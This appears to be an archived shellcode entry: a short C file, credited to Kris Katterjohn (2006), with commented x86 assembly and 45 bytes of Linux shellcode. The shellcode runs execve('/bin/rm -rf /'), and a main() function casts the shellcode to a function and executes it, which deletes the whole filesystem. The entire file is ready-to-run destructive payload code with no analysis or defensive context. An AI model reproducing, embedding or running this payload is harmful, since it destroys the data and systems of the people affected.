45 byte shellcode for Linux/x86 that performs execve("rm -rf /").
f7049ef5b574b64d8d8f114099f457c18a3401474e43c0dcc5dec65fa2fcb870
/* By Kris Katterjohn 11/18/2006
*
* 45 byte shellcode to execve("rm -rf /") for Linux/x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* ; execve("/bin/rm", { "/bin/rm", "-r", "-f", "/", NULL }, NULL)
*
* push byte 11
* pop eax
* cdq
* push edx
* push byte 0x2f
* mov edi, esp
* push edx
* push word 0x662d
* mov esi, esp
* push edx
* push word 0x722d
* mov ecx, esp
* push edx
* push 0x6d722f2f
* push 0x6e69622f
* mov ebx, esp
* push edx
* push edi
* push esi
* push ecx
* push ebx
* mov ecx, esp
* int 0x80
*/
main()
{
char shellcode[] =
"\x6a\x0b\x58\x99\x52\x6a\x2f\x89\xe7\x52\x66\x68\x2d\x66\x89"
"\xe6\x52\x66\x68\x2d\x72\x89\xe1\x52\x68\x2f\x2f\x72\x6d\x68"
"\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x51\x53\x89\xe1\xcd\x80";
(*(void (*)()) shellcode)();
}